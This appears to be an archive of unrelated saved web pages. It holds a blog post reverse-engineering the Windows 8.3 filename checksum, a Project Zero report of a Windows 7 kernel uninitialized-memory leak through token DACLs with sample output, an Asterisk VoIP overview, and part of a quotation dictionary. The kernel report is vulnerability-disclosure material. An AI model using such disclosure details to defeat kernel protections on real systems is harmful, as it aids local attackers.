My go-to utility for these sorts of things is OllyDbg, a debugger which can be used without the original source code. It has a few nice analysis features and a light footprint so I keep it on a USB drive at all times. I figured I’d be able to use it to step inside the Windows API call and see where it leads, which the VS debugger doesn’t allow you to do. Olly allows you to pass command-line parameters to the executable you’re debugging, which is a file name in this case.
I’ve never disassembled anything bigger than a simple crack-me program before, so this was certainly jarring: you’re greeted with an info-dense view of the x86 registers, the disassembly of the executable with calls and jump paths highlighted, and what I can only assume is a memory dump of the executable or the stack. Execution pauses at the entry point and allows you to step through, set breakpoints, and other typical debugger features.

I stepped through the executable, watching crap from the MSVC runtime shuffle around the registers, until I reached a call to KERNEL32. GetShortPathNameW, which is the call we’re looking for. I stepped inside, not too sure what to expect, and was greeted with... a tangle of unintelligible assembly.

I soon realised that I’d make no progress here unless I knew what I was looking for. I’d need some form of reference to guide myself along the disassembly. Unfortunately the Windows API is closed tighter than an aeroplane door; it may as well be a black box inside. I have no access to the insider’s documentation and I certainly wouldn’t be able to get access to the NT source code.
Luckily, I’m not totally in the dark. ReactOS is an operating system that aims to provide one-to-one binary compatibility with Windows NT, including the API. The ReactOS developers likely have some experts in tracing assembly in order to mimic the Windows API to the dot, so I could only hope that some of their API functions were similarly implemented. ReactOS is open source and the implementation for this particular function is available here.
I’d soon realise if the implementations in Windows and ReactOS were similar by the pattern of function calls, particularly to SetErrorMode and GetFileAttributesW at the start of the function body. As it happens, the implementation appears to be almost identical; in both cases, the majority of the function is just memory management and buffer allocation, and the interesting part occurs right at the start in GetFileAttributesW. However, this is also the only interesting part of the function. This must be where the short path creation occurs, right?
Kind of. I realised at this point that, if the implementations of ReactOS and Windows were so similar, I may as well do most of the work looking at the ReactOS source code until I reach the checksum function. GetFileAttributesW internally uses NtQueryFullAttributesFile to get the short path name, which in turn uses IopQueryAttributesFile. At this point, we’re going on a bit of a blind hunt through the depths of the API, so the documentation for the functions is limited to the comments wrote by the ReactOS developers.
Eventually I reached the point where I couldn’t keep track of where I was. There are so many layers of abstraction in the Windows API that it’s a miracle that anyone could maintain it - which probably explains the increasing level of bloat in new versions of Windows. The Rtl*, Iop* and Nt* functions are barely documented on MSDN (but mentioned nevertheless) so I had to do a lot of searching around the web for any references to short file names or 8.3 paths.

When knee-deep in the backwaters of a gigantic foreign codebase, this situation is irritatingly common.
I found some luck in some discussions of the Windows DDK on a Chinese discussion forum for IO device drivers. It seems like the RtlGenerate8dot3Name function in the NT kernel is the function I’m looking for. Common sense would suggest this function does exactly what it says on the tin, so I hoped that I’d be able to write another program to call it and debug it with OllyDbg, like before. One small problem, however: it’s a kernel code function, so I can’t call it from userland. I’d need to write a device driver to call it, which is both something I’ve never touched at all before, and something that’s nigh impossible without access to the DDK or NDK. Back to the ReactOS codebase.
ReactOS implements this API function here. A quick glance down the function body leads us to RtlpGetChecksum, which sounds like our goal! Indeed, the implementation here is a checksum function, which is the thing we wanted. We’ve done it! I wrote a small program to check it was correct:
c:\SPN>ShortPathName "a.txt3"
AEE90~1.TXT

c:\SPN>Checksum "a.txt3"
689f
...and the checksums don’t match; not even close. I verified this with a few files, and the Checksum that ReactOS uses is way off from what Windows uses. It seems like, at this level, ReactOS differs in implementation from Windows. Technically, this isn’t a problem for ReactOS; FAT specifies no rule on what checksum to use for 8.3 filenames, and indeed there doesn’t actually need to be a checksum at all, as long as the filename is unique and fits in the length restriction. To get to the bottom of this, we’ll need to dive head-first into the NT kernel.
The RtlpGetChecksum function isn’t mentioned on MSDN at all and neither is the Rtlp prefix at all, suggesting the implementations of ReactOS and Windows do indeed diverge at this low level. I deduced that the checksum function probably wasn’t exported from ntoskrnl at all. ReactOS was no use to me at this point. I needed to disassemble ntoskrnl.exe myself, and hope the checksum implementation isn’t too cryptic. First, we know two things that we can use to look out for in the disassembly:
· The checksum is used once we reach ~5 in the filename; ie. there are four collisions with existing 8.3 file names. We’ll need to look for a loop that runs four times and then gives up. It’s also used if the initial filename length is only one or two characters. We’re probably looking for a call or jump that’s ran twice.
· The checksum is 4 hexadecimal characters long. The obvious way to calculate the checksum is as a 16-bit integer, and then converting to hexadecimal - at this level, probably with a handmade conversion rather than anything like sprintf. Each hexadecimal digit represents 4 bits, or a nybble (half of a byte), so we’ll need to hope the function does this conversion by shifting four bytes off the checksum at a time and converting to a character. We’ll need to look for right-shifts by 4 bits, and the ASCII characters for zero (0x30) and for capital A (0x41).
Initially I used dumpbin to disassemble ntoskrnl.asm. This allowed me to get the table of exported functons and the assembly listing. The export listing gave me this:
C:\..>dumpbin /exports /out:ntoskrnl.exp C:\Windows\System32\ntoskrnl.exe
Microsoft (R) COFF/PE Dumper Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.

C:\..>cfsearch /nocase /i ntoskrnl.exp 8dot3
       1699  69F 00487B04 RtlGenerate8dot3Name
       1781  6F1 0061FE10 RtlIsNameLegalDOS8Dot3
This tells us the RVA (relative virtual address; the offset in the disassembly) of the two relevant functions - that is the 32-bit hex address in the listing. Disconcertingly, the two functions are nowhere near each other, so the checksum code could potentially be anywhere. Also, the generated assembly had no function names, just jump and call addresses, meaning it was impossible to navigate. I ended up using the ArkDasm disassembler, which seemed to be the only one capable enough to do x64 disassembly too, which is vital as I’m running Windows 8 x64 and have no access to a 32-bit ntoskrnl.exe. ArkDasm gave me a view like this:

I scrolled down to the offset of RtlGenerate8dot3Name that was provided by the export listing and started looking through the assembly, continually checking a reference of x64 instruction mnemonics so I knew what was going on. I learned a lot about x86 assembly during this process. I meticulously looked at all the different calls and jumps, and the different loops that were going on. Eventually I came across this section in the RtlGenerate8dot3Name listing:

There’s five blocks of code here; the top two look very similar to the bottom two. The pairs also both form two loops - ArkDasm tells you this with the arrows on the left. What caught my eye was the two identical function calls in the first and fourth block.

Both are to the same non-exported function... hmm.
Here’s a close-up of the first loop.

First, look at the instructions highlighted 1. This appears to skip a section entirely if the content of edx (the length of the filename) is less than two. That sounds familiar to one of the criteria for the checksum - it’s only ran if the filename is greater than 2 characters. Now look at the instructions highlighted 2. The and and cmp instructions look awfully like part of a conversion of a nybble to a hex digit; that’s followed by a shift right by four places. In the bottom 3 instructions, a counter is moved along 2 places and the loop repeats. Internally Windows stores filenames as wide strings (with wide 16-bit characters), so this probably adds the hex digits to the filename. This is a dead give-away that we’ve found our checksum function!
One thing to note is that the nybbles are shifted off the checksum from the right (ie. right-to-left) but appended to the filename from the left (ie. left-to-right). This means the nybbles are going to be in reverse order from the calculation; bear this in mind in the next section as we will need to correct for this, which is simple enough. I jumped to our hidden subroutine in ArkDasm, and upon first inspection it looks like there are 3 jump addresses.

Note the 3 values highlighted with the blue star. They're not jump addresses, as they're used in arithmetic operations.
Let’s inspect these 3 magic numbers:
· 0x12b9b0a5. This equals 314159269 in decimal. Yep, that’s the first 8 digits of pi right there, but the ninth digit is wrong - something’s up. A quick Google search shows that this magic constant has been used for LGCs (Linear Congruential Generators, a type of random number generator).
· 0x44b82f99. This equals 1152921497 in decimal, and is relatively prime to the previous number, another hint that this checksum incorporates an LCG.
· 0x3b9aca07. This equals 1000000007 in decimal, and is a prime number.
We’ve obviously got a different checksum function to the ReactOS implementation, confirming my suspicions. Here’s the cleaned up assembly for this checksum function:
  movzx eax, word ptr [rcx]
  mov rdx, qword ptr [rcx+0x8]
  xor r8d, r8d
  shr rax, 0x1
  lea rcx, [rdx+rax*2]
  jmp lbl2

lbl1:
  imul r8w, r8w, 0x25
  add r8w, word ptr [rdx]
  add rdx, 2

lbl2:
  cmp rdx, rcx
  jb lbl1
  movzx eax, r8w
  imul eax, eax, 0x12b9b0a5
  cdq 
  mov r8d, eax
  mov eax, 0x44b82f99
  xor r8d, edx
  sub r8d, edx
  imul r8d
  sar edx, 0x1c
  mov ecx, edx
  shr ecx, 0x1f
  add edx, ecx
  imul ecx, edx, 0x3b9aca07
  sub r8d, ecx
  movzx eax, r8w
  ret
The three instructions under lbl1 first seem to enumerate each character in the (long-format) path to get an initial checksum, by starting from zero and then multiplying by 0x25 and adding each character in turn. This is all mod 0x10000, as the high bits of the addition and multiplication are discarded, as the checksum is stored in r8w, the 16-bit low word of the x64 r8 register.
Then we reach a nasty chunk of horrible sign-manupulating arithmetic to (presumably) shuffle the bits of the checksum around some more. I don’t understand why the Windows developers went to this extent to write such a complex hash function for something that doesn’t need to be cryptographically secure in any way, but never mind. I initially didn’t bother to convert this into a readable form, and just put it nearly verbatim as inline assembler into a small executable to make sure it gives the correct hash, remembering to reverse the nybble order before returning the hash value.
USHORT chksum(PWSTR name)
{
    UINT16 checksum = 0;

    for (int i = 0; name[i]; i++) {
        checksum = checksum * 0x25 + name[i];
    }

    __asm {
        movzx eax, checksum
        imul eax, eax, 0x12b9b0a5
        cdq
        mov ebx, eax
        mov eax, 0x44b82f99
        xor ebx, edx
        sub ebx, edx
        imul ebx
        sar edx, 0x1c
        mov ecx, edx
        shr ecx, 0x1f
        add edx, ecx
        imul ecx, edx, 0x3b9aca07
        sub ebx, ecx
        mov checksum, bx
    };

    // reverse nibble order
    checksum =
        ((checksum & 0xf000) >> 12) |
        ((checksum & 0x0f00) >> 4) |
        ((checksum & 0x00f0) << 4) |
        ((checksum & 0x000f) << 12);

    return checksum;
}
Now to verify it:
c:\SPN>ShortPathName "a.txt3"
AEE90~1.TXT

c:\SPN>Checksum "a.txt3"
ee90
It works - we’ve got it! Now all we need to do is convert the mess of assembly into readable code. A way of simplifying this assembly expression is by looking at these 6 instructions.
imul eax, eax, 0x12b9b0a5
cdq 
mov r8d, eax
mov eax, 0x44b82f99
xor r8d, edx
sub r8d, edx
imul does the signed multiplication with the first magic number (the one which looked like pi). cdq sign-extends the result into the edx register, copying the sign bit of eax into every bit of edx. This means if eax is a negative number (sign bit is 1), all the bits in edx are also 1, and vice versa - so edx will either be 0x00000000 or 0xffffffff (all ones or zeroes). eax is then copied in r8d (a 32-bit section of r8) with the mov instruction. Then, the xor and sub instructions use edx to change the result of multiplication. If edx is set to 0x00000000 these will have no effect. If edx is 0xffffffff then this will first invert all the bits in r8d and then subtract 0xffffffff, which is the same as inverting and adding one - or negating r8d. As edx is only set to 0xffffffff when the result is negative, this means that the result will either be left positive, or negated to become positive. Hence, this first part is the absolute value of multiplying with 0x12b9b0a5.
After a bit of head-scratching and trying to understand signed bit-shifts, I converted the entire checksum to this C++ code:
USHORT chksum(PWSTR name)
{
    UINT16 checksum = 0;

    for (int i = 0; name[i]; i++) {
        checksum = checksum * 0x25 + name[i];
    }

    INT32 temp = checksum * 314159269;
    if (temp < 0) temp = -temp;
    temp -= ((UINT64)((INT64)temp * 1152921497) >> 60) * 1000000007;
    checksum = temp;

    // reverse nibble order
    checksum =
        ((checksum & 0xf000) >> 12) |
        ((checksum & 0x0f00) >> 4) |
        ((checksum & 0x00f0) << 4) |
        ((checksum & 0x000f) << 12);

    return checksum;
}
Now to verify it again, to make sure it hasn’t gone wrong in the ASM-to-C++ process:
c:\SPN>ShortPathName a.txt7
AB720~1.TXT

c:\SPN>Checksum a.txt7
b720
Yup - we’ve got it spot on now. Before this investigation, this was essentially an impossible challenge for me, so I’m very happy that I’ve managed it. I’ve also succeeded in documenting an obscure corner of Windows that hasn’t often been touched. I’ve written a version of the checksum calculator in standard C which can be downloaded here: 8dot3-checksum.c
As far as I know, this is the first time this has been analysed. I can’t find references to the 3 magic constants used together anywhere on the internet. I hope it’s of use to someone - I should give a heads-up to the ReactOS developers, to let them know what I’ve found. This has certainly been an interesting experience learning about analysis and x86 assembly.
Update: Fixed a few typographical errors, thanks to Reddit and HN readers.
1. Poor documentation here... ↩
2. ...and here... ↩
3. ...and here. ↩
﻿https://bugs.chromium.org/p/project-zero/issues/detail?id=1145 
1145 - Windows Kernel uninitialized memory in the default dacl descriptor of system processes' token - project-zero - Monorail
Created:
5/15/2017 9:25:39 PM
Updated:
5/15/2017 9:25:39 PM
Author:

Tags:
windows kernel




We have observed (on Windows 7 32-bit) that for unclear reasons, the kernel-mode structure containing the default DACL of system processes' tokens (lsass.exe, services.exe, ...) has 8 uninitialized bytes at the end, as the size of the structure (ACL.AclSize) is larger than the sum of ACE lengths (ACE_HEADER.AceSize). It is possible to read the leftover pool data using a GetTokenInformation(TokenDefaultDacl) call.

When the attached proof-of-concept code is run against a SYSTEM process (pid of the process must be passed in the program argument), on a system with Special Pools enabled for ntoskrnl.exe, output similar to the following can be observed:

>NtQueryInformationToken.exe 520
00000000: 54 bf 2b 00 02 00 3c 00 02 00 00 00 00 00 14 00 T.+...<.........
00000010: 00 00 00 10 01 01 00 00 00 00 00 05 12 00 00 00 ................
00000020: 00 00 18 00 00 00 02 a0 01 02 00 00 00 00 00 05 ................
00000030: 20 00 00 00 20 02 00 00[01 01 01 01 01 01 01 01] ... ...........

The last eight 0x01 bytes are markers inserted by Special Pools, which visibly haven't been overwritten by any actual data prior to being returned to user-mode.

While reading DACLs of system processes may require special privileges (such as the ability to acquire SeDebugPrivilege), the root cause of the behavior could potentially make it possible to also create uninitialized DACLs that are easily accessible by regular users. This could in turn lead to a typical kernel memory disclosure condition, which would allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. Since it's not clear to us what causes the abberant behavior, we're reporting it for further analysis to be on the safe side.

The proof-of-concept code is mostly based on the example at https://support.microsoft.com/en-us/help/131065/how-to-obtain-a-handle-to-any-process-with-sedebugprivilege.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public.

 
 
NtQueryInformationToken.cpp 
4.9 KB View Download


﻿http://arstechnica.com/business/news/2010/01/a-quick-guide-to-voip-on-the-cheap-with-asterisk.ars?utm_source=rss&utm_medium=rss&utm_campaign=rss 
A quick guide to VoIP on-the-cheap with Asterisk
Created:
1/8/2010 4:28:45 PM
Updated:
1/8/2010 4:31:08 PM
Author:

Tags:
voip Tutorials


A quick guide to VoIP on-the-cheap with Asterisk
VoIP is taking the enterprise by storm, but jumping in can be intimidating if you don't know where to start. This short overview will show you just how little in the way of up-front investment you need in order to put together a solid VoIP implementation for an office building.
By Joe Hancuff | Last updated January 5, 2010 11:33 PM
· Text Size  
· Download PDF (Subscribers Only)
· Print this article
· View on one page (Subscribers Only)
· Leave a comment

With the advent of voice-over-IP (VoIP) technology, there has been a dramatic movement toward IP-only telecommunications, leaving the twisted pair of yesteryear in the dust. Lower costs, automated directories, centralized monitoring, and ease of call routing are just a few of the advantages that a good VoIP implementation can bring to a workplace. But many businesses have been held back from jumping on the VoIP bandwagon because it can seem daunting or expensive to set up. The reality of VoIP is that some very modest hardware and a suite of free software tools can make for an enterprise-class VoIP system that can serve up to 1,000 office users in a single building.
In this article, we'll walk through the basics of doing VoIP with Asterisk, an open-source, software private branch exchange (PBX). Note that this isn't a detailed how-to—it's more of a overview of the basics of building a VoIP system, with some notes on best practices. After reading this article, you should have a sense of what's involved in a moderately sized VoIP setup, and of what such a setup can do for your business.
Note: This article revisits the same topic as our similarly titled 2005 article by Kurt Hutchinson. But given the progress since then, we thought it was time for an update/expansion.
ABCs of VoIP
Most people don't know what goes on behind the scenes when they place a call on their telephone at home or at work. Historically, the phone line consisted of a single circuit from your desk to a closet on your floor or section of your building (whether your office building, apartment building, or even your house). Calls were then punched over to what are called "house pairs," or the internal wiring of the building that's permanent and isn't moved or modified. In most multi-story office buildings, these house pairs were arranged in blocks, and they went down into a master closet where the phone service provider had brought in either circuits or trunks for each of the individual phones.
In recent years, calls have been multiplexed into some sort of digital solution such as ISDN or PRIs on a T1, DS3, or a similar digital connection. When you dial a call, you're dialing on a switch in the nearest calling office, which then routes the calls through the various telecommunications switches between you and your calling destination. Sometimes the call is routed over the Internet,but on private circuits. Your call is "attended" during the entire duration, which means that, while you're on the phone, the switch through which it's routed has a busy circuit and one less resource that can be used, because it's maintaining a single complete circuit from handset to handset.

Credit: Kurt Hutchinson
This approach makes perfect sense if you're in an office in Boston and you're calling an office in Miami, but what if you're calling downstairs? When it comes to inter-office calls, you're inefficiently using up two switch ports in your private branch exchange (PBX) for that phone call, when those ports could instead be used to switch inbound or outbound calls.
VoIP, in contrast, uses an all-digital network between both call endpoints (using a VoIP phone or analog telephone adapter). This makes VoIP very dynamic, because it can be set up and moved without causing any disturbance to the current building infrastructure. VoIP uses the same logical structure as an analog PBX, but does it in a much more efficient and far more cost-effective manner, by implementing that structure with standard data networking equipment.
In a VoIP scenario, if you're in Boston and you call Miami, you pick up the phone and dial the number. Your VoIP phone contacts the call manager or proxy that it is registered with and requests that number. The call manager comes back and essentially says, "Yes, I have a path. Hold on, let me set it up for you." The call manager then handles the protocol and codec negotiation for the call and makes the call to the remote gateway, whether to the telco's gateway on its analog network or to the destination's VoIP gateway. Most call managers then attend the call, meaning your audio traffic will pass through and even be processed by the call manager for the entire duration of the call, especially if both sides can't use the same audio codec for some reason, which means that the call will need to be transcoded in real-time. (More on that later.)

Credit: Kurt Hutchinson
If you make a call to your friend downstairs, though, the call goes to the PBX for setup and, once the connection is made, the PBX often steps out of the picture and directly connects both handsets together. There are times when the PBX wouldn't do this, such as conference calling or when a specific feature on the PBX is needed (call recording, etc). These types of scenarios would be specific to the application being used and the environment that it resides in.
Keeping with protocol
As most anyone who has ever been involved with VoIP knows, SIP is the protocol of choice for many reasons, but first and foremost because it has the widest cross-platform device support. The device support ranges from soft phones (pieces of computer software that act as a phone) to Cisco enterprise-class desktop phones, wireless handsets for use at home, and phones that support simultaneous real-time video and audio. SIP is the most extensible and network-friendly protocol, due to its ability to add multimedia to the equation, which is key to its success in the telecommunications world.
In the enterprise, SIP works especially well because the overhead for call setup traffic is virtually non-existent in a gigabit Ethernet world.
Private Branch Exchange
When you pick up the phone and dial your co-worker's 4-digit extension, you're dialing through a miniaturized version of a phone company. Internally, there isn't a need for 7 or 10 digits, so most places have 3 or 4 (and sometimes 5) digits. The brilliance of VoIP is that this can be completely arbitrary.
You do, however, need the hardware and the software to do this. No longer is a PBX a giant box with hundreds of switching cards in it, making it look like it may attempt to take over the world at any moment. Now, it is simply one of the many servers in your datacenter.
PBX hardware and software
For the purposes of this article, we'll only be using a single server to keep things simple (though redundancy would always call for a second or a backup server). We will utilize the following hardware configuration:
· Dell R710 rack mount server
· Dual quad-core Intel Xeon X5550's for up to 16 threads
· 32GB of RAM
· 2TB of disk space
· 4 port gigabit Ethernet
For software, we will use the bare-bones, free software PBX known as Asterisk. Asterisk is a Linux-based voice communications server software that is a one-step installation. You can install a bare version of Asterisk on top of a Linux distribution, but it can be problematic because Asterisk is typically distributed already pre-installed on pre-configured and compiled Linux distributions. It is the standard soft PBX implementation, and almost all other implementations are based on (or at the very least inspired by) Asterisk.
Picking a front-endAsterisk, however, is only a part of the equation. To properly manage and configure the software, you need a front-end, of which there are many to choose from. Digium, the company that makes Asterisk, has a solution called AsteriskNOW that performs GUI installion and a customizable configuration for Asterisk. Although it's free, it's really not viable in an enterprise environment.Digium also makes Switchvox, which is essentially an Asterisk appliance with a Web front-end which adds a multimedia concentrator, centralizing chat, voice, video, and fax. Although this solution sounds great, Switchvox isn't free, and there is a subscription requirement for support. It's geared more toward non-VoIP nerds who need a solution right now.In the free realm, there really is no comparison for trixbox CE, formerly Asterisk@home. trixbox CE is the community edition of the trixbox front-end software and management system by Fonality, which also makes enterprise and service provider-class hardware appliances and even back-end hosting of a VoIP PBX. trixbox CE is free to download and is feature-rich. It is a self-contained, single-instance installer that will handle the entire hardware and software configuration to get a basic Asterisk setup up and running. The best setup feature of trixbox CE is the Bulk Extension tool (added in 2.6.1) that allows you to create a text file containing a format for each extension you want to add. This saves a ton of time if you have to add 1000 extensions, and it provides the ability to add all the extensions in one motion.trixbox also has media convergence features such as recording incoming and outgoing calls, emailing voicemail to users using Postfix, and, in the latest version, an updated core set of Asterisk code for maximum security and a more robust feature set. One of my absolute favorite features of trixbox is its Endpoint Configuration manager. It runs a TFPT server and can set up and configure Cisco IP phones (with SIP firmware) via the Web interface just like Cisco CallManager does. You can even mass-upgrade firmware on Cisco phones simply by placing the appropriate configuration XML file and binary firmware file in the TFPT directory.Can you hear me now? Codec compatibilityOne of Asterisk's core features is its ability to work with and around many of the industry-standard VoIP audio codecs, even the commercial ITU G.729. The importance of working with so many codecs is that not every endpoint supports every codec, and not every application calls for specific codecs. For instance, most calls that have the luxury of copious amounts of bandwidth would benefit more from G.711, which is the clearer audio codec. This is obvious when you use a service such as Broadvoice or Vonage and turn the call quality all the way up in the Web interface. This is the G.711 codec at work. When you use Skype over your 3G connection on your iPhone, you're most likely using the GSM codec, mostly used in mobile phones today on the carriers' internal networks.Asterisk has the ability to transcode audio in both directions in real-time, eliminating the need to coordinate endpoint compatibility. A good example would be interoffice phone calls. Let's say you have one Asterisk shop running nothing but Cisco IP phones and G.711, but in the branch office out in the field they're forced to use GSM due to their limited connectivity. Each office's local Asterisk server would transcode the calls for each other's systems. All of this would be negotiated at call setup.Application in the real worldThe server that we have specified for this application has the ability to handle around 1000 concurrent calls through the gateway and enough storage for voicemail boxes for all users. Calls have no real effect on the server inside the PBX because of one of the amazing SIP features: REINVITE. The REINVITE feature allows the SIP proxy to set up the call and then directly connect the endpoints to each other for the audio flow. The server only hangs on for call control (for things such as call-waiting, caller ID, etc). REINVITE can only happen if both of the endpoints can agree on a codec, of course, because while many endpoints support multiple codecs, there are none that can perform any transcoding.In order to connect this phone system to the outside world, we'll need a trunk or a path to the PSTN phone system. Many office buildings and companies will either use good old-fashioned twisted pair from the provider or ISDN/T1 PRI-BRI channels to handle these lines. This works well with Asterisk, but more hardware is required to properly translate VoIP into one of these provider-based points of entry into the system.The best method is simply using a SIP trunk, which requires no additional hardware. There is a huge list of SIP trunk providers that can provide you with 10s, 100s or even 1000s of trunks with numbers and features, or simple bare-bones trunks, since Asterisk provides all the calling features that any major provider can offer. For home customers, Vonage, Broadvoice, Verizon, Comcast, and AT&T all serve as SIP trunks with their voice options for their customers. Some of these same companies have enterprise solutions that don't cost much more than their residential counterparts, especially in bulk. Additionally, adding or removing lines is only a matter of going to the provider's website and provisioning a new trunk or removing one. Gone are the days of having to have a service provider technician come out and run a pair to your house pairs.Moving lines from cubicle to cubicle is easier than ever. Instead of having to repunch twisted pair at the block, you simply have the user take their phone when they move. When they plug it in, it's still their number, with their voicemail and all of their pre-programmed features. This takes work load off of system and infrastructure administration staff and makes massive space reconfigurations a nightmare of the past.Workplace integrationWhen using SIP endpoints, it's possible to integrate your SIP phone system into your workstation software. For instance, you can give users the ability to receive their voicemail via email in a format compatible with a mobile device such as a BlackBerry, Windows Mobile device or iPhone. Additionally, there is a lot of potential for integration into Microsoft Outlook and Office Communicator. The ability to dial straight out of your Outlook Contacts or the Global Address list without ever having to touch the phone on the desk is powerful.Asterisk can also be configured to support Bluetooth-based presence awareness, meaning that you could pair your Bluetooth phone with the PC in your office. When they can "hear" each other over Bluetooth, your calls would go to your desktop phone naturally. Should you go out of range of your computer, your calls would automatically be forwarded to your mobile phone until the end of the work day, at which time they'd go directly to voicemail or back to the desktop phone (or until you came back within range of your office computer). This would be handled by a simple piece of client software running on the user's workstation to communicate the presence information back to the Asterisk server.trixbox has a switchboard interface which adds the ability to have a receptionist take and route calls, conference calls together, and arrange dial-in conference rooms. The receptionist can also use the Web interface to monitor call activity and see whether a user is busy or available.There are even initiatives in place to allow a reasonably powerful server to transcribe the conversations held in a teleconference meeting using voice recognition software, break up the conversations by audio stream, and then identify the speaker in the transcript.Employers who wish to monitor their employees' usage can generate reports of a specific employee or group of employees, in usable and presentable formats.For offices that don't need to provide each individual person their own trunk, they can have an auto-attendant handle incoming calls and route them via a voice menu which can be recorded at the handset (or studio-recorded) and uploaded to the Asterisk server.These are just a few of the many ways you can make your phone system a part of your overall environment.Best PracticesThis scenario depicts only one server for enterprise use, but as most datacenter managers will tell you, for any high-availability service such as email or telephone, there has to be a way to back it up. Asterisk doesn't inherently have this built in, but with a few simple scripts, it's quite simple to create failover or a load-balancing cluster of machines to minimize downtime.Most of these implementations are open-sourced, community-based solutions, but they work well.One of my favorites for redundancy is Flip1405 (created by ThisCoolSite), which is a scripted solution to failover Asterisk services with only about 20-30 seconds of downtime. They have also crafted another one of my favorite solutions, Safe1405, an automated Asterisk backup and Auto-FTP system to back up your priceless configuration files. For massive deployments or in instances where you may not have any single server powerful enough for your user base, there is a fantastic open source load balancing software calledOpenSIPS.Implementing the update features of trixbox can keep your Asterisk server healthy, safe, and up-to-date via the Web interface. You can remove and add features that didn't initially come with trixbox or your Asterisk distribution, or even add new ones that were released to the community since installation. The package manager is extensive and robust, and is updated regularly.ConclusionsTo maximize performance and reduce costs, Asterisk proves to be a forward-thinking, formidable solution for almost any size environment. Scalable and extensible, and with many options for integration into the workplace, VoIP and Asterisk are a logical choice for a business on a budget that's looking to cut costs without cutting services. 

﻿http://naturalscience.com/dsqhome.html 
A Dictionary of Scientific Quotations
Created:
8/12/2010 5:01:51 PM
Updated:
8/12/2010 5:01:51 PM
Author:
wishi
Tags:





Archimedes (ca. 235 bc) b. Syracuse
Concerning levers
Give me a place to stand, and I will move the Earth. 
Asimov, Isaac
(1920-1992) b. Petrovichi, Russia.
(With reference to a correspondent)
The young specialist in English Lit, ...lectured me severely on the fact that in every century people have thought they understood the Universe at last, and in every century they were proved to be wrong. It follows that the one thing we can say about our modern "knowledge" is that it is wrong.
... My answer to him was, "... when people thought the Earth was flat, they were wrong. When people thought the Earth was spherical they were wrong. But if you think that thinking the Earth is spherical is just as wrong as thinking the Earth is flat, then your view is wronger than both of them put together."
Isaac Asimov,The Relativity of Wrong, Kensington Books, New York, 1996, p 226. (1) Available from Amazon.com
Asimov, Isaac
(1920-1992) b. Petrovichi, Russia.
At two-tenths the speed of light, dust and atoms might not do significant damage even in a voyage of 40 years, but the faster you go, the worse it is--space begins to become abrasive. When you begin to approach the speed of light, hydrogen atoms become cosmic-ray particles, and they will fry the crew. ...So 60,000 kilometers per second may be the practical speed limit for space travel.
Isaac Asimov, Sail On! Sail On! In The Relativity of Wrong, Kensington Books, New York, 1996, p 220. (1) Available from Amazon.com
Bacon, Francis
(1561-1626) b. London, England
For it is esteemed a kind of dishonour unto learning to descend to inquiry or meditation upon matters mechanical, except they be such as may be thought secrets, rarities, and special subtilities, which humour of vain supercilious arrogancy is justly derided in Plato... But the truth is, they be not the highest instances that give the securest information; as may well be expressed in the tale... of the philosopher, that while he gazed upwards to the stars fell into the water; for if he had looked down he might have seen the stars in the water, but looking aloft he could not see the water in the stars. So it cometh often to pass, that mean and small things discover great, better than great can discover the small.
Francis Bacon, The Advancement of Learning, J.M. Dent and Son, London, England, 1973, pp 71-72. (1) Newer edition available from Amazon.com
Bacon, Francis
The men of experiment are like the ant, they only collect and use; the reasoners resemble spiders, who make cobwebs out of their own substance. But the bee takes the middle course: it gathers its material from the flowers of the garden and field, but transforms and digests it by a power of its own. Not unlike this is the true business of philosophy (science); for it neither relies solely or chiefly on the powers of the mind, nor does it take the matter which it gathers from natural history and mechanical experiments and lay up in the memory whole, as it finds it, but lays it up in the understanding altered and disgested. Therefore, from a closer and purer league between these two faculties, the experimental and the rational (such as has never been made), much may be hoped.
Francis Bacon, Novum Organum, Liberal Arts Press, Inc., New York, p 93. (5) Available from Amazon.com
Bierce, Ambrose
(1842-?1914) b. Meggs Co., Ohio
An inventor is a person who makes an ingenious arrangement of wheels, levers and springs, and believes it civilization.
Ambrose Bierce, The Devil's Dictionary, Dover Publications, NY, 1958, p 70. (3) Available from Amazon.com
Binet, Alfred
(1857-1911) b. France
On his intelligence scale
The scale, properly speaking, does not permit the measure of the intelligence, because intellectual qualities are not superposable, and therefore cannot be measured as linear surfaces are measured.
Quoted in Stephen Jay Gould, The Mismeasure of Man, W.W. Norton and Co., Ltd, NY, 1996, p 181. (1) Available from Amazon.com
Boltzman, Ludwig
(1844-1906) b Vienna, Austria
The most ordinary things are to philosophy a source of insoluble puzzles. With infinite ingenuity it constructs a concept of space or time and then finds it absolutely impossible that there be objects in this space or that processes occur during this time... the source of this kind of logic lies in excessive confidence in the so-called laws of thought.
Ludwig Boltzmann. Populaere Schriften Essay 19, Ludwig Boltzmann, Theoretical Physics and Philosophical Problems, B. McGuinness (ed) Reidel, Dordrecht, 1974, p 64. (7)
Boltzman, Ludwig
To go straight to the deepest depth, I went for Hegel; what unclear thoughtless flow of words I was to find there! My unlucky star led me from Hegel to Schopenhauer ... Even in Kant there were many things that I could grasp so little that given his general acuity of mind I almost suspected that he was pulling the reader's leg or was even an imposter.
D. Flamm. Stud. Hist. Phil. Sci. 14: 257 (1983). (7)
Curie, Marie
(1867-1934) b. Warsaw, Poland (nï¿1⁄2e Maria Sklodowska)
Humanity needs practical men, who get the most out of their work, and, without forgetting the general good, safeguard their own interests. But humanity also needs dreamers, for whom the disinterested development of an enterprise is so captivating that it becomes impossible for them to devote their care to their own material profit.
Without doubt, these dreamers do not deserve wealth, because they do not desire it. Even so, a well-organized society should assure to such workers the efficient means of accomplishing their task, in a life freed from material care and freely consecrated to research.
Eve Curie (translated by Vincent Sheean), Madame Curie, Pocket books, Simon and Schuster, New york, 1946, pp 352-253. (7) Newer edition available from Amazon.com
Churchill, Winston, Spencer
(1874-1965) b. Malborough, England
